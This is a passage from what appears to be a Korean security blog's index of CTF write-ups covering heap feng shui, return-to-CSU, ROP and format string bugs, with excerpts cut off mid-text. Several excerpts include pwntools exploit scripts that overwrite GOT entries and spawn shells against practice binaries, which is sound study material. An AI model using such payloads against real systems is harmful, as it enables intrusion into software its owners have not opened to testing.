풍수지리설

HackCTF 2022. 1. 13. 14:49

요약 - Heap의 레이아웃을 변경하여 공격하는 문제 - Heap Feng Shui를 이용 - 2개의 해답이 나올 수 있음(one_gadget을 이용하거나 system을 이용하는 방법) 공격방법 - Lazenca에서 나온 문제와 거의 동일함 - Lazenca 문제를 응용하면 됨 Exploit Code 1. one_gadget을 이용하는 방법 from pwn import * context.log_level='debug' p = remote('ctf.j0n9hyun.xyz', 3028) e = ELF('./fengshui') libc = ELF('./libc.so.6') one = [0x3ac5c, 0x3ac5e, 0x3ac62, 0x3ac69] # libc.so.6 def add_location(desc_..

Heap Fengshui

Technique 2022. 1. 13. 14:46

요약 - Heap 영역에 할당된 청크의 레이아웃을 조작하는 기술 - Exploit의 정교함을 높이는데 중요한 역할 - 공격자가 프로그램의 실행 흐름을 조작할 수 있어야 함. - Heap 영역에 원하는 값을 쓸 수 있어야 한다. - Heap spary의 조건을 만족하여야 함 - UAF(Use After Free)를 이용한다고 생각하면 편함 참조 - https://www.lazenca.net/display/TEC/12.Heap+Feng+Shui#google_vignette 12.Heap Feng Shui - TechNote - Lazenca.0x0 Excuse the ads! We need some help to keep our site up. List Heap Feng Shui Heap Feng Shui란..

Return To CSU(A.K.A RTC)

Technique 2022. 1. 6. 14:16

요약 - ROP를 위한 가젯이 존재하지 않을때 사용 가능(예를 들어 pr, ppr, pppr 등등) - __libc_csu_init 내의 로직을 이용하여 레지스터에 값을 저장 분석 바이너리는 HackCTF의 RTC 바이너리를 기준으로 설명 0x4006a0 부분을 보면 R13, R14, R15D의 값을 각각 RDX, RSI, EDI에 저장하고, r12+rbx*0x8의 주소값을 호출 하는것을 볼 수 있다. 또한 0x400b6b에서는 레지스터들의 값을 pop하는것을 볼 수 있다. 따라서 0x4006a0 부분을 이용하여 원하는 인자를 넣고, 0x4006b6을 호출하면 끝 Jsec님이 이러한 rtc를 쉽게 사용할 수 있는 함수를 작성하였다. 해당 함수를 보면 add rsp, 0x8을 넘기 위해 'A'*8을 작성하..

Article Thumbnail
HackCTF - RTC

HackCTF 2022. 1. 6. 02:06

요약 Return To CSU를 이용하는 방법 보호기법 Canary : ✘ NX : ✓ PIE : ✘ Fortify : ✘ RelRO : Partial 분석 { undefined local_48 [64]; setvbuf(stdin,(char *)0x0,2,0); write(1,"Hey, ROP! What\'s Up?\n",0x15); read(0,local_48,0x200); return; } 1. local_48의 크기는 64byte 2. read 함수를 이용하여 0x200만큼 입력받음( 이부분에서 BOF 취약점이 일어나고, ROP 사용 가능) gef➤ x/20gx $rsp 0x7fffffffdfa0:0x41414141414141410x4242424242424242 0x7fffffffdfb0:0x000..

Article Thumbnail
PDF Reader 퍼징 도전기(4) - DLL 변경

Fuzzing 2022. 1. 4. 02:42

(3)에서 ezPDF2HWP.dll에서 export에서 대상 함수를 찾기 힘들어 offset으로 함수를 찾아 시도해봤지만 오류가 떠서 다른 dll로 변경해보았다. ezPDF2HWP.dll -> ez2HTML.dll, export에서 pdf2html으로 퍼징을 시도해 보았다. 이전 fuzzme 코드 (3) typedef int (__cdecl *TARGET)(wchar_t* filename); TARGET funcPtr; extern "C" __declspec(dllexport) int fuzzme(wchar_t* path); // LPCSTR = long pointer constant string = const char * void __cdecl pdf2hwpA(char *param_1,char *par..

Article Thumbnail
SSF 2018 FSB

Pwnable 2021. 12. 30. 01:16

from pwn import * context.log_level = 'debug' p = process('./fsb') e = ELF('./fsb') shell = 4196006 printf_got = e.got['printf'] payload = "%4196006d" payload += "%8$ln" payload += "\x00"*2 payload += p64(printf_got) p.sendline(payload) p.interactive()

Ropasaurusrex

Pwnable 2021. 12. 30. 01:16

HackCTF의 ROP와 매우 유사한 문제. rop란? https://d4m0n.tistory.com/84 ← 블로그 참조. 코드 설명 write와 read함수만 있고 이 함수들을 이용하여 주소를 leak하고, 그 주소를 바탕으로 원하는 함수의 offset을 더해서 실제 함수 주소를 구한후 호출한다. 이때 pppr은 가젯의 주소로써, esp 레지스터의 값 조작. 가젯에 대한 설명은 https://d4m0n.tistory.com/80 의 중간 부분에 설명되어 있음. 공격 시나리오 write함수를 통해 read_got의 주소를 구한다. write(1, read_got, 4)을 호출하여 read_got를 출력한다. read_got의 주소를 구했으면, 구한 주소 - read_got의 offset을 빼주어 파일에..

Babyfsb

카테고리 없음 2021. 12. 30. 01:14

writeup보고 품. 좀더 다른 문제로 연습 from pwn import * context.log_level = 'debug' p = remote('ctf.j0n9hyun.xyz', 3002) e = ELF('./basic_fsb') printf_got = 0x0804a00c flag = 0x80485b4 #payload = "%" + str(flag) + "x" payload = p32(printf_got) payload += "%134514096x%n" p.sendline(payload) p.interactive() 2번째 포맷 스트링에 0x41414141이 나온걸로 봐서 AAAA를 print_got로 바꾸고 값을 덮어씌우면 될거같음. flag를 10진수로 변경하면 134514100이 되는데 134..

ROP

HackCTF 2021. 12. 30. 01:13

https://libc.blukat.me/ ← 이쪽 사이트에서 프로그램이 사용하는 실제 라이브러리가 어떤것인지 알수 있다. _IO_fgets b90 __libc_system 4e0 을 하면 libc6_2.27-3ubuntu1.2_amd64이 라이브러리가 나오고 현재 Unexploitable1은 이 라이브러리를 사용한다는 것을 알 수 있다. 취약점은 배열의 크기는 char 16byte 이지만 fgets를 통해 0x64byte를 입력받으니 bufferoverflow가 발생함을 알 수 있다(64bit) 또한 Partial RELRO때문에 GOT Overwrite이 가능하다. Persudocode ROP 로직 Write함수를 사용, read의 got를 출력 read함수 호출, bss영역에 binsh 저장(bss..

You_are_silver

HackCTF 2021. 12. 30. 01:12

FSB 문제 offset = 6 (python -c 'print "AAAAAAAA"+"%06$lx"') (python -c 'print "AAAAAAAA"+"%11$lx"') https://holinder4s.tistory.com/29 fsb팁 %lx = 12자리 출력 포맷스트링버그는 개발자의 실수로 printf(buf) 이렇게 사용했을 때 입력값을 포맷스트링으로 넣으면 입력값을 문자로 취급하는게 아닌, 서식문자로 취급하여 취약점이 일어날 수 있습니다 출처: https://shayete.tistory.com/entry/5-Format-String-Attack-FSB [샤의 공간] %n 을 사용하여, 특정 메모리 주소에 값을 쓸 수가 있다. 32비트와 다르게 64비트는 스택이 아니라 레지스터 주소부터 le..

Article Thumbnail